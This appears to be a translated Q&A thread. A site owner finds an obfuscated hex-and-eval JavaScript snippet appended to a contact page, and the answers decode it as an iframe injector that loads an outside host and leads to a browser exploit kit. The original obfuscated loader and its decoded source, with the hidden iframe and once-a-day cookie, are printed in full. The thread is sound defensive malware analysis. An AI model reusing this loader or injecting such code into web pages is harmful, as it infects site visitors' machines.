Javascript contenente una lunga stringa esadecimale ed eval: questo è sospetto?

3

Nella parte inferiore del file index.php per un semplice modulo "contattaci", ho trovato quanto segue (alcuni spazi bianchi e nuove righe aggiunte):

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18";
z=[];
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);}
eval(ss["fr"+"omCharCode"].apply(ss,z));
</script><!--/0f2490-->

Qualcuno sa cosa fa questo codice? È probabile che questa sia una parte prevista della pagina o è un segno che il sito Web è stato violato?

    
posta Gilles 10.08.2013 - 12:33
fonte

3 risposte

6

Ho scoperto che cosa fa (si prega di essere clemente con me, non sono uno sviluppatore di JavaScript )

Ciò che si può vedere facilmente è che lo script richiama String.fromCharCode() sui numeri presenti sulla stringa a per creare una nuova stringa ed eseguirla. Il codice in cui viene eseguita la conversione di a string è:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Ora, non ne sono sicuro (ricorda che non sono uno sviluppatore javascript) ma sembra che sia un codice che ruba i cookie (forse anche il dirottamento di sessione) ?

Modifica

Per ulteriori ricerche:

  • Lo script sta verificando se è presente un cookie specifico ( Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation" ) e, in caso contrario, lo crea.
  • Quindi crea un nuovo elemento nel documento, che modifica per renderlo molto difficile da notare (larghezza 7 pixel, altezza 9 pixel) e che esegue uno script php disponibile a http://ninoromano.it/DNGJxdCW.php . Se visiti questo, restituisce "ok" e nient'altro nel codice della pagina (il dominio sembra essere compromesso). (Non posso ottenere ulteriori informazioni oltre a questo)

Molto probabilmente si tratta di un tentativo di hijacking della sessione.

    
risposta data 10.08.2013 - 12:59
fonte
3

La prima volta che lo esegui, lo script crea un iframe che punta a ninoromano.it . Quindi crea un cookie in modo che nelle successive volte lo carichi, non venga eseguito di nuovo.

L'iframe è uno script di exploit del browser. Se lo visualizzi in un browser che non sa di te, ottieni la stringa "ok", ma se la carichi, diciamo, in una vecchia versione di IE, ottieni un sacco di exploit per infettare il tuo computer.

Il sito è stato violato (e così pure ninoromano dal suo aspetto). Una fonte comune di questo tipo di infezione è il malware lato client che ruba le password degli account del server (spesso lo stesso malware servito dagli exploit!). Chiunque sia responsabile deve eseguire la scansione di tutte le macchine client che hanno effettuato l'accesso al server con più AV (perché gli AV non sono molto affidabili); reinstallare i client infetti da zero; scegliere nuove password del server; reinstallare il server da zero.

    
risposta data 11.08.2013 - 12:47
fonte
3

Quello che stai guardando è una versione compressa (offuscata) di un kit di exploit "iframer". "iframer" significa semplicemente un frammento di Javascript che caricherà un iframe esterno; nella maggior parte dei casi l'iframe punterà ad una parte di una catena che alla fine caricherà un kit di exploit del browser.

(Ovviamente non visitare direttamente nessuno dei link sottostanti.)

Se fai una richiesta alla pagina di destinazione del kit di exploit, hxxp://ninoromano.it/DNGJxdCW.php con un referente valido e uno user-agent di IE, verrai reindirizzato a un altro URL.

Questa è la fase di reindirizzamento; ninoromano.it in questo caso è probabilmente parte di un "TDS", sistema di distribuzione del traffico: il suo compito è quello di suddividere il traffico in pagine di atterraggio di kit di exploit diversi (o talvolta spamvertising generico) in base al referente e talvolta al paese del cliente.

link

L'URL caricato ha uno schema simile a hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm . Ecco il suo contenuto.

link

Solo guardando quella pagina, lo riconosco già come il "Cool Exploit Kit". Puoi apprendere dettagli su questo kit di exploit in vari punti:

link link link

Un altro iframe viene caricato dalla pagina di destinazione, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

Questo iframe contiene la maggior parte del codice dannoso attuale. Prova vari exploit, in primo luogo gli exploit Java, i quali scaricheranno ed eseguiranno un carico utile dannoso.

Il link è un sito fantastico per automatizzare questo tipo di analisi. Assicurati solo di impostare un agenet utente di IE e una sorta di referer ogni volta.

Molti kit di exploit diversi usano quel tipo di packer JS che stai vedendo in fondo alla pagina. Se vedi un codice simile, puoi presumere che sia molto dannoso.

    
risposta data 11.08.2013 - 20:20
fonte

Leggi altre domande sui tag